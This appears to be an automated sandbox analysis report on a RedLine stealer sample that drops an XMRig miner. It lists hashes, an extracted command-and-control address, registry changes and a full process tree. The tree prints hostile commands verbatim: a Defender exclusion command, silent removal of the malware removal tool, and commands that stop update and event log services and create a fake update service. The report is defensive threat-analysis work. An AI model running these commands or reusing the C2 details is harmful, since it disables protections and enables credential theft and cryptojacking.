Analysis
-
max time kernel
149s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 01:11
Static task
static1
Behavioral task
behavioral1
Sample
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe
Resource
win10v2004-20240426-en
General
-
Target
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe
-
Size
402KB
-
MD5
f02798ba573318a4ba1bb6e39c45ad5c
-
SHA1
9b81fd616e27b9aeca4a5a42775df026da28f557
-
SHA256
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826
-
SHA512
de15b3b67063359bad041e87e1f16029775ca16d2199b2284f3b3039c11f704f208fc994f1383aa7704a7c01544e87aba7c796c407c40c8281ebd607212f2385
-
SSDEEP
6144:dzOa82gO92tYhBOl+vCit0Y0d0ggOl3yinIvSC9dRuJSo+2Aymo/un7pespk:daaR9wYhYiCDQKIvZ1uJSo+jjoS8spk
Malware Config
Extracted
redline
LogsDiller Cloud (TG: @logsdillabot)
5.42.65.77:6541
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3428-2-0x0000000000400000-0x0000000000452000-memory.dmp family_redline -
UPX dump on OEP (original entry point) 20 IoCs
Processes:
resource yara_rule behavioral2/memory/2324-114-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-115-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-118-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-117-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-123-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-122-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-121-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-120-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-116-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-113-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-124-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-125-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-126-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-128-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-127-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-129-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-130-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-132-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-131-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral2/memory/2324-133-0x0000000140000000-0x0000000140848000-memory.dmp UPX -
XMRig Miner payload 16 IoCs
Processes:
resource yara_rule behavioral2/memory/2324-118-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-117-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-123-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-122-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-121-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-120-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-124-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-125-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-126-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-128-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-127-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-129-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-130-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-132-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-131-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2324-133-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 1904 powershell.exe 3132 powershell.exe -
Creates new service(s) 2 TTPs
-
Drops file in Drivers directory 2 IoCs
Processes:
fie.exeupdater.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts fie.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
RegAsm.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation RegAsm.exe -
Executes dropped EXE 2 IoCs
Processes:
fie.exeupdater.exepid process 1748 fie.exe 4676 updater.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/2324-114-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-115-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-118-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-117-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-123-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-122-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-121-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-120-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-116-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-113-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-124-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-112-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-125-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-126-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-128-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-127-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-129-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-130-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-132-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-131-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2324-133-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 4 IoCs
Processes:
powershell.exeupdater.exefie.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\system32\MRT.exe fie.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exeupdater.exedescription pid process target process PID 4068 set thread context of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4676 set thread context of 2616 4676 updater.exe conhost.exe PID 4676 set thread context of 2324 4676 updater.exe explorer.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3404 sc.exe 3392 sc.exe 1648 sc.exe 3092 sc.exe 1900 sc.exe 2412 sc.exe 2992 sc.exe 5080 sc.exe 4408 sc.exe 4896 sc.exe 3396 sc.exe 4848 sc.exe 3476 sc.exe 4656 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 46 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe -
Processes:
RegAsm.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 RegAsm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
RegAsm.exefie.exepowershell.exeupdater.exepowershell.exeexplorer.exepid process 3428 RegAsm.exe 3428 RegAsm.exe 3428 RegAsm.exe 3428 RegAsm.exe 3428 RegAsm.exe 1748 fie.exe 1904 powershell.exe 1904 powershell.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 1748 fie.exe 4676 updater.exe 3132 powershell.exe 3132 powershell.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 4676 updater.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe 2324 explorer.exe -
Suspicious use of AdjustPrivilegeToken 20 IoCs
Processes:
RegAsm.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exedescription pid process Token: SeDebugPrivilege 3428 RegAsm.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeShutdownPrivilege 1584 powercfg.exe Token: SeCreatePagefilePrivilege 1584 powercfg.exe Token: SeShutdownPrivilege 2276 powercfg.exe Token: SeCreatePagefilePrivilege 2276 powercfg.exe Token: SeShutdownPrivilege 4980 powercfg.exe Token: SeCreatePagefilePrivilege 4980 powercfg.exe Token: SeShutdownPrivilege 3448 powercfg.exe Token: SeCreatePagefilePrivilege 3448 powercfg.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeShutdownPrivilege 1708 powercfg.exe Token: SeCreatePagefilePrivilege 1708 powercfg.exe Token: SeShutdownPrivilege 4160 powercfg.exe Token: SeCreatePagefilePrivilege 4160 powercfg.exe Token: SeShutdownPrivilege 2560 powercfg.exe Token: SeCreatePagefilePrivilege 2560 powercfg.exe Token: SeShutdownPrivilege 1288 powercfg.exe Token: SeCreatePagefilePrivilege 1288 powercfg.exe Token: SeLockMemoryPrivilege 2324 explorer.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exeRegAsm.execmd.execmd.exeupdater.exedescription pid process target process PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 4068 wrote to memory of 3428 4068 2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe RegAsm.exe PID 3428 wrote to memory of 1748 3428 RegAsm.exe fie.exe PID 3428 wrote to memory of 1748 3428 RegAsm.exe fie.exe PID 1872 wrote to memory of 2764 1872 cmd.exe wusa.exe PID 1872 wrote to memory of 2764 1872 cmd.exe wusa.exe PID 4628 wrote to memory of 3300 4628 cmd.exe wusa.exe PID 4628 wrote to memory of 3300 4628 cmd.exe wusa.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2616 4676 updater.exe conhost.exe PID 4676 wrote to memory of 2324 4676 updater.exe explorer.exe PID 4676 wrote to memory of 2324 4676 updater.exe explorer.exe PID 4676 wrote to memory of 2324 4676 updater.exe explorer.exe PID 4676 wrote to memory of 2324 4676 updater.exe explorer.exe PID 4676 wrote to memory of 2324 4676 updater.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe"C:\Users\Admin\AppData\Local\Temp\2b9fa60df2621c7cd698d7d11007f8a04cb6586f495b58f4fd8cc5de5b04f826.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Users\Admin\AppData\Local\Temp\fie.exe"C:\Users\Admin\AppData\Local\Temp\fie.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1748 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵PID:2764
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
PID:3404 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
PID:4848 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
PID:2412 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
PID:3392 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
PID:1648 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:1584 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:4980 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:3448 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2276 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
PID:2992 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
PID:3476 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
PID:5080 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
PID:3092
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3300
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4408 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4896 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3396 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1900 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4656 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:1708 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:4160 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288 -
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2616
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD51420d30f964eac2c85b2ccfe968eebce
SHA1bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA5126fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
5.1MB
MD56cb5979703a8167390425ceed56f453e
SHA12799f0af0cc3c5e9dbc62235505428a1ca8d8204
SHA256edcb3e44eb0858ef84ed1294d1303074e82b45e341cdf41902c6a9c492bc573e
SHA512a7e3c9aa158f5e99634ca43e5d01b5777982442d1537c95242591f196bd0e78468edb6d08368b0f05033d963d31326d40f3702b1d0399260cbea05f57d346b42
-
Filesize
3KB
MD52d29fd3ae57f422e2b2121141dc82253
SHA1c2464c857779c0ab4f5e766f5028fcc651a6c6b7
SHA25680a60d7ec533d820de20bcedeb41319e7b1def548b6ea73ddbd69455bac4e7a4
